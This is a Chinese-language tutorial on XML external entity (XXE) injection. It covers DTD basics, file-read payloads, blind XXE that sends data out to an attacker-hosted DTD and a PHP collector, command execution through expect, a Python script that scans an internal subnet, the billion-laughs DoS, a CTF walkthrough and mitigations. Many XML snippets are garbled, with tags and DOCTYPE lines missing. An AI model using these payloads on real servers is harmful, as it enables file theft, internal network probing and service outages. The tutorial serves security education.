XML是用于 标记电子文件 使其具有 结构性 的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
<!DOCTYPE note [
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT head (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Daveto>
<from>Tomfrom>
<head>Reminderhead>
<body>You are a good manbody>
note>
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。
1.内部声明DTD:
2.引用外部DTD:
3.内外部DTD文档结合:
DTD中的一些重要的关键字:
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体在DTD中被声明,可以内部声明或外部引用。
实体主要分为一下四类
参数实体用 %实体名称 申明,引用时也用 %实体名称;
其余实体直接用 实体名称 申明,引用时用 &实体名称;
参数实体只能在DTD中申明,DTD中引用;
其余实体只能在DTD中申明,可在xml文档中引用。
注意:参数实体是在DTD中被引用的,而其余实体是在xml文档中被引用的。
1. 内部实体声明
<!ENTITY 实体名称 “实体的值”>
一个实体由三部分构成:&符号,实体名称,分号 (,这里&不论在GET还是在POST中都需要进行URL编码,因为是使用参数传入xml的,&符号会被认为是参数间的连接符号。示例:
<!ENTITY xxe "Thinking">]>
<foo>&xxe;foo>
2. 外部实体声明
XML中对数据的引用称为实体(变量),实体中有一类叫外部实体,用来引入外部资源,有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以借助各种协议,比如如下的三种:
file:///path/to/file.ext
http://url
php://filter/read=convert.base64-encode/resource=conf.php
语法:
外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:
示例:
]>
<methodcall>
<methodname>&xxe;methodname>
methodcall>
这种写法则调用了本地计算机的文件/etc/passwd,XML内容被解析后,文件内容便通过&xxe被存放在了methodname元素中,造成了敏感信息的泄露。(相当于把文件内容赋给了这个实体变量)
引用公共(PUBLIC)实体:
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
3. 参数实体声明
<!ENTITY % 实体名称 “实体的值”>
or
<!ENTITY % 实体名称 SYSTEM “URI”>
示例:
%xxe;]>
<foo>&evil;foo>
外部evil.dtd中的内容。
有了XML实体,关键字’SYSTEM’会令XML解析器从URI中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。 简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)。比如,下面的代码将获取系统上folder/file的内容并呈献给用户。
Code1:
]>
<foo>
<value>&passwd;value>
foo>
Code2:
]>
<foo>
<value>&entityex;value>
foo>
Code3:
]>
<root>
<name>&xxe;name>
root>
用xml引用外部实体直接读取php文件会报错,因为php文件里面有<>//等特殊字符,xml解析时候会当成xml语法来解析。这时候就分不清处哪个是真正的xml语句了,直接利用file协议读取PHP文件,就会产生报错。那么需要base64编码来读取。
以Code1代码为例,XML外部实体 ‘passwd’ 被赋予的值为:file:///etc/passwd。在解析XML文档的过程中,实体’passwd’的值会被替换为URI(file:///etc/passwd)内容值(也就是passwd文件的内容)。关键字’SYSTEM’会告诉XML解析器,’passwd’实体的值将从其后的URI中读取。
XXE漏洞主要针对web服务危险的引用的外部实体并且未对外部实体进行敏感字符的过滤,从而可以造成命令执行,目录遍历等。
最直接的回答就是:甄别那些接受XML作为输入内容的端点。但是有时候,这些端点可能并不是那么明显(比如,一些仅使用JSON去访问服务的客户端)。在这种情况下,渗透测试人员就必须尝试不同的测试方式,最直接的方法就是用burp抓包,然后比如修改HTTP的请求方法,修改Content-Type头部字段等等方法,然后看看应用程序返回包的响应,看看程序是否解析了发送的内容,如果解析了,那么则可能有XXE攻击漏洞。
首先存在漏洞的web服务一定是存在xml传输数据的,可以抓包在http头的content-type中查看,也可以根据url一些常见的关键字进行判断测试,例如wsdl(web服务描述语言)。或者一些常见的采用xml的java服务配置文件(spring,struts2)。不过现实中存在的大多数XXE漏洞都是blind,即不可见的,必须采用带外通道进行返回信息的记录,这里简单来说就是攻击者必须具有一台具有公网ip的主机。
首先要明白xxe漏洞是如何读取文件的
<root>&name;root>
此时服务器会在root节点返回 /etc/passwd的内容,整个代码运行流程是name实体加载本地文件并且文件返回值被赋给name。如果没有回显则可以利用带外通信进行测试。
然后来看一个小小的展示:
这个是测试wvs的测试点:http://testhtml5.vulnweb.com/
我们点击Login下面的Forgot Pwd?然后用burp抓包
点击repeater,我们来查看返回包
从上面我们可以看到,web应用正在解析xml的内容,接受用户特定或者自定义的输入,然后呈现给用户。为了验证,我们可以构造如下的输入:
可以看到应用程序确实是直接解析了xml。 首先观察这个http包,在发送方的http包头中可以通过Conetent-Type: text/xml 观察到服务端以xml的形式接收文件,符合xxe漏洞的条件,然后服务器会正常返回客户端在body中post过去的xml代码执行结果。此时就可以构造恶意的xml代码,可以看见服务器仍是正常返回,说明在服务器端并没有进行过滤,因此可以初步确定此应用存在xxe漏洞(且为非Blind的xxe)
以php服务端的处理为例,若$xml
即为body中的$xml
数据,php直接进行解析,那么就将触发xxe漏洞
针对blind的xxe,可以构造如下xml恶意代码:
%remote; // 引用并加载remote
%send; // 引用并加载send
]>
<foo>foo>
这个是用于直接在http body中提交的恶意xml代码,它会去调用位于我们的主机上的外部dtd文件 (不在同一个文件写入要读取的文件主要是为了避免参数实体引用时发生的错误)
以下是eval.dtd的内容:
% send SYSTEM 'http://yourip/?p=%file;'>">
%ppp;
整个执行流程如下:首先加载参数实体remote,此时会远程加载攻击者主机上的外部实体,然后首先加载file实体的值,即为我们要读取的文件的内容,然后加载ppp参数实体,在ppp实体中又内嵌了send实体,所以,接下来加载send实体,此时就是关键点,即将file实体的值(/etc/passwd)发送到我们的服务器上(通过get查询方式会在攻击者的服务器日志中留下记录)
以上便是xxe漏洞的基本流程:
具体检测方法见下文。
第一步:检测XML是否会被 成功解析:
]>
<root>&name;root>
如果页面输出了my name is nMask,说明服务端解析了客户端发送的name实体的内容并返回到了root节点,即说明xml文件可以被解析。
第二步:检测服务器是否支持 DTD 引用 外部实体:
%name; // 参数型实体只能在DTD中引用
]>
可通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求index.html的请求。
如果上面两步都支持,那么就看能否回显。
最开始,引入一个file_get_contents函数,将整个XML数据读入data字符串中,然后交给php的xml解析函数simplexml_load_string()解析,解析后的数据赋给xml变量。
这一数据即XML字符串中使用的对象(或者说根元素)的数据,并echo输出出来。
$data = file_get_contents('php://input'); //获取提交的XML数据(上面的两种思路中的代码)
$xml = simplexml_load_string($data); // 交给PHP的XML解析函数
echo $xml->name;
?>
xxe漏洞的危害有很多,比如可以任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等,这里就读取任意文件的利用方式进行测试。
testXML.php
$xml = <<<EOF
]>
&xxe;
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>
// <<
// simplexml_load_string() 函数转换形式良好的 XML 字符串为 SimpleXMLElement 对象。
// 然后print_r($data);输出对象的键和元素
访问testXML.php会输出含有etc/passwd中内容的数据,可以读取etc/passwd文件内容(源码中更清晰)
该CASE是读取/etc/passwd,有些XML解析库支持列目录,攻击者通过列目录、读文件,获取帐号密码后进一步攻击,如读取tomcat-users.xml得到帐号密码后登录tomcat的manager部署webshell。
实例展示:
可以使用如下的几种方式进行 恶意引入外部实体 XXE注入攻击。
恶意引入外部实体1:
]>
<foo>&xxe;foo>
恶意引入外部实体2:
%xxe;
]>
&evil;
外部evil.dtd中的内容:
(记住“&”符号要进行编码)
当然也可以进行内网站点的入侵:(sql注入演示)
以上任意文件读取能够成功,除了DTD可以引用外部实体外,还取决于有输出信息,即有回显。 那么如果程序没有回显的情况下,该怎么读取文件内容呢?需要使用blind xxe漏洞去利用。
恶意引入外部实体3:
]>
<c>&b;c>
DTD文件内容
恶意引入外部实体4:
]>
<foo>&xxe;foo>
blind xxe漏洞利用方案1:
对于传统的XXE来说,要求攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,如果没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据。带外数据通道的建立是使用嵌套形式,利用外部实体中的URL发出访问,从而跟攻击者的服务器发生联系。
Blink XXE主要使用了DTD约束中的参数实体和内部实体。参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。内部实体的这支持与否也是取决于解释器的,这也是比较蛋疼的特性,因为php,java,C#等语言的内置XML解析器都是有一定差别的,也就给漏洞利用带来不便。
创建test.php写入以下内容:(位于攻击者服务器)
file_put_contents("test.txt", $_GET['file']) ; // file_put_contents() 函数把一个字符串写入文件中。
?>
创建test.xml并写入以下内容:(位于攻击者服务器)
">
index.php中内容:
$xml=<<<EOF
xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/test.txt"> // 读取受害者机上的test.txt
<!ENTITY % remote SYSTEM "http://攻击者ip/test.xml">
%remote; //">
%all; //
%send; //http://攻击者ip/test.php?file=%file; %file为读取受害者机上的test.txt里的内容
]>
EOF;
$data = simplexml_load_string($xml) ;
echo ""
;
// print_r($data);
?>
实体remote,all,send的引用顺序很重要,首先在DTD中对remote引用目的是将外部文件evil.xml引入到解释上下文中,然后执行%all,这时会检测到send实体,引用并加载send,就可以成功实现数据转发。
当访问http://xxxxxx/index.php,存在漏洞的服务器会读出text.txt内容,发送给攻击者服务器上的test.php,然后test.php做的事情就是把读取的数据保存到本地的test.txt中,完成Blind XXE攻击。
攻击之后test.txt中的数据:
攻击者服务器日志:
blind xxe漏洞方案2:
可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。
%dtd;
%send;
]>
evil.dtd的内容,内部的%号要进行实体编码成%。
% send SYSTEM ‘http://xxx.xxx.xxx/?%file;’>” >
%all;
php环境下,xml命令执行要求php装有expect扩展。而该扩展默认没有安装。
# id
]>
<x>&f;x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>
该CASE是在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。
由于xml实体注入攻击可以利用http://协议,也就是可以发起http请求。可以利用该请求去探查内网,进行SSRF攻击。
$xml = <<<EOF
]>
&f;
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>
可以先通过 file 协议读取一些配置文件来判断内网的配置以及规模,以便于编写脚本来探测内网。
一个 python 脚本实例:
import requests
import base64
#Origtional XML that the server accepts
#
# user
#
def build_xml(string):
xml = """"""
xml = xml + "\r\n" + """"""
xml = xml + "\r\n" + """ + '"' + string + '"' + """>]>"""
xml = xml + "\r\n" + """"""
xml = xml + "\r\n" + """ &xxe; """
xml = xml + "\r\n" + """"""
send_xml(xml)
def send_xml(xml):
headers = {'Content-Type': 'application/xml'}
x = requests.post('http://127.0.0.1/xml.php', data=xml, headers=headers, timeout=5).text
coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
print coded_string
# print base64.b64decode(coded_string)
for i in range(1, 255):
try:
i = str(i)
ip = '192.168.1.' + i
string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
print string
build_xml(string)
except:
print "error"
continue
2.To crash the server / Cause denial of service:
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;lolz>
上面样例代码2中的XXE漏洞攻击就是著名的’billion laughs’ 攻击。该攻击通过创建一项递归的 XML 定义,在内存中生成十亿个”Ha!”字符串,从而导致 DDoS 攻击。
原理为:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务器攻击。
除了这些,攻击者还可以读取服务器上的敏感数据,还能通过端口扫描,获取后端系统的开放端口。
xxe漏洞存在是因为XML解析器解析了用户发送的不可信数据。然而,要去校验DTD(document type definition)中SYSTEM标识符定义的数据,并不容易,也不大可能。大部分的XML解析器默认对于XXE攻击是脆弱的。因此,最好的解决办法就是配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD。通过设置相应的属性值为false,XML外部实体攻击就能够被阻止。因此,可将外部实体、参数实体和内联DTD 都被设置为false,从而避免基于XXE漏洞的攻击。
1. 使用开发语言提供的禁用外部实体的方法
如:PHP
设置libxml_disable_entity_loader(true);
2. 过滤用户提交的XML数据
过滤关键词:
题目链接:http://web.jarvisoj.com:9882/
题目描述:
目的很明确获取/home/ctf/flag.txt的内容。
我们查看源代码。
下面分析源码
<script>
function XHR() {
var xhr;
try {xhr = new XMLHttpRequest();} // XMLHttpRequest 对象用于在后台与服务器交换数据
catch(e) {
var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
// 创建XMLHttpRequest 对象,必须考虑到浏览器兼容问题:var xml=new ActiveXObject("Microsoft.XMLHTTP");创建XMLHttpRequest 对象(这是在IE7以前的版本中);在较新的IE版本中可以利用 var xml=new ActiveXObject("Msxml2.XMLHTTP")的形式创建XMLHttpRequest对象;而在IE7及非IE浏览器中可以利用var xml=new XMLHttpRequest()创建XMLHttpRequest对象。
for (var i=0,len=IEXHRVers.length;i< len;i++) {
try {xhr = new ActiveXObject(IEXHRVers[i]);}
catch(e) {continue;}
}
}
return xhr;
}
function send(){
evil_input = document.getElementById("evil-input").value;
var xhr = XHR();
xhr.open("post","/api/v1.0/try",true);
xhr.onreadystatechange = function () {
if (xhr.readyState==4 && xhr.status==201) {
data = JSON.parse(xhr.responseText);
tip_area = document.getElementById("tip-area");
tip_area.value = data.task.search+data.task.value;
}
};
xhr.setRequestHeader("Content-Type","application/json");
xhr.send('{"search":"'+evil_input+'","value":"own"}');
}
</script>
很明显是AJAX异步传送数据
在一般的异步网站都会有异步数据与服务器的交互,一般传送数据为json,但如果将传送的数据格式改为xml。有很大的可能服务器会解析你异步上传的xml脚本执行想要干的事。
解题步骤:
要先修改Content-Type: application/xml
然后加入xml脚本即可
]>
<abc>&myentity;abc>
得到返回结果
CTF{XxE_15_n0T_S7range_Enough}
在介绍案例之前,首先我普及一个概念,即wsdl这个关键词
wsdl(网络服务描述语言)是Web Service的描述语言,它包含一系列描述某个web service的定义。
wsdl元素是基于XML语法描述了与服务进行交互的的基本元素,所以有wsdl服务的地方就可能存在xxe漏洞。
wuyun案例分析:
1:http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0205725.html
2:http://wooyun.jozxing.cc/static/bugs/wooyun-2016-0169109.html
问题点出现在:http://**.**.**.**/webservice/services/webservice?wsdl
漏洞证明:
0x01:首先是构造代码:
%remote;]>
0x02:获取系统目录,根据返回可知,当前定义的文件参数实体被引用了
0x03:这个漏洞可以说跟ssrf漏洞的利用价值一样大,可以直接各种协议来进行任意文件读取,如下:
成功获取了根目录文件(配合wvs的Web Service Editor功能)
案例二:
漏洞标题:xxx平台XXE漏洞
漏洞简要描述:xxx平台XXE漏洞
漏洞类型:WEB漏洞
漏洞等级:高危漏洞
漏洞大类:XML实体注入
0x01:一般这种漏洞在使用xml的地方**(用wvs能够扫描出这些点)**,看到了SYSTEM这个参数就有的利用了,然后采用burp抓包,构造payload进行xml实体注入。
我们这里直接用burp抓包,利用file读取文件目录,如果是root权限的话,就可以进一步读取shadows文件,数据库配置文件等等,利用价值比较大,普通权限的话我只能根据用户名来爆破ssh,ftp等等服务,或者查看能够读取的文件,进一步扩大渗透范围,暂时没有好的思路,如果有白帽子懂的进一步利用的话,可以交流一下。
file:///
参考:
https://www.cnblogs.com/zhaijiahui/p/9147595.html
https://blog.csdn.net/weixin_43821663/article/details/88068789
https://www.cnblogs.com/tr1ple/p/6681114.html